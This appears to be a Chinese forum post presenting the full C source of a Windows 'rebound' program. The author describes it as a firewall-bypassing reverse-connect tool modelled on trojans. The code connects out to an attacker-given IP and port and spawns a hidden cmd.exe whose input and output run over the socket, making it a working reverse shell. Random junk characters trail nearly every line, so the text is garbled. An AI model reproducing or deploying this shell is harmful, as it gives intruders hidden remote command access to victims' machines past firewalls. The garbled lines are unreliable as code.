这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D4\[D8pD
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/* ============================== H,c`=Ii3
Rebound port in Windows NT mPhu#oK'f
By wind,2006/7 K9-9 c"cz
===============================*/ Cv@)tb
#include n.rn+nuwv
#include 5DDSo0E
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#pragma comment(lib,"wsock32.lib") tY>Zy1hlI
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void OutputShell(); qX*xQA|ak,
SOCKET sClient; wTD}c1J(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; sopf-g:
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void main(int argc,char **argv) L9<\vJ
{ ?;_*8Doq-a
WSADATA stWsaData; Rx.v/H
int nRet; C5~n^I|
SOCKADDR_IN stSaiClient,stSaiServer; r6nnRN/S=
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if(argc != 3) $}.+}'7$
{ KZTLIZxI-
printf("Useage:\n\rRebound DestIP DestPort\n"); OLqV#i[K#9
return; &=x4M]t9L
} jo^c>ur
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WSAStartup(MAKEWORD(2,2),&stWsaData); |lcp
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J&s$Wqf
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stSaiClient.sin_family = AF_INET; d]Y;rqjue
stSaiClient.sin_port = htons(0); MI'"Xzp{s
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4=o vm[
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j!w{
{ Gx8!AmeX
printf("Bind Socket Failed!\n"); S2e3d
return; )|v y}Jf7
} f9 \$,7F
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stSaiServer.sin_family = AF_INET; t,Ka]
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .1q}mw
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^Fh*9[Zf$
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {x?qz~W
{ i6KB\W2
printf("Connect Error!"); Q3(ulgl]
return; @,n)1*{P
} ol*,&C:{
OutputShell(); D;NL*4zt
} F3EAjO)ch
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void OutputShell() :09NZ
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{ jLVG=rOn
char szBuff[1024]; yKoZj
SECURITY_ATTRIBUTES stSecurityAttributes; a_V\[V{R=
OSVERSIONINFO stOsversionInfo; _FYA? d}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Hf@4p'
STARTUPINFO stStartupInfo; e`s1z|h
char *szShell; '9Z`y_~)G
PROCESS_INFORMATION stProcessInformation; cZQ8[I
unsigned long lBytesRead; W~0rSVD$<z
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); aZ4?!JW .
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); aTTkj\4
stSecurityAttributes.lpSecurityDescriptor = 0; RARA _tii
stSecurityAttributes.bInheritHandle = TRUE; 50QDqC-]XS
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); NX,m6u
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); E<Zf!!3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); jel:oy|_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ig t*8px
stStartupInfo.wShowWindow = SW_HIDE; C[<}eD4bV
stStartupInfo.hStdInput = hReadPipe; {KNaJ/:>W
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Vf&U`K
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GetVersionEx(&stOsversionInfo); _i}b]xfM
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switch(stOsversionInfo.dwPlatformId) B`Z3e%g#
{ 0#9H;j<Op
case 1: wKLYyetM!
szShell = "command.com"; e{@RBYX@+c
break; J`U]Ux/L
default: !:!(=(4$P
szShell = "cmd.exe"; | J3'#7
break; Vml
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} wn5OgXxG<
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }bv+^#
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send(sClient,szMsg,77,0); !iKW1ks
while(1) ID2->J
{ (vO3vCYeQ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FC] *^B
if(lBytesRead) %-blx)Pc
{ N:)x67,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Y2x|6{ #
send(sClient,szBuff,lBytesRead,0); Gu*y7I8
} 2L~Vr4eHG
else {6v.(Zlh$
{ xrPZy*Y,
lBytesRead=recv(sClient,szBuff,1024,0); e'.BTt58Y
if(lBytesRead<=0) break; -/pz3n
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); b^$`2m-?@f
} ZLT?G
} &T,|?0>~=J
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return; *'-4%7C`1
}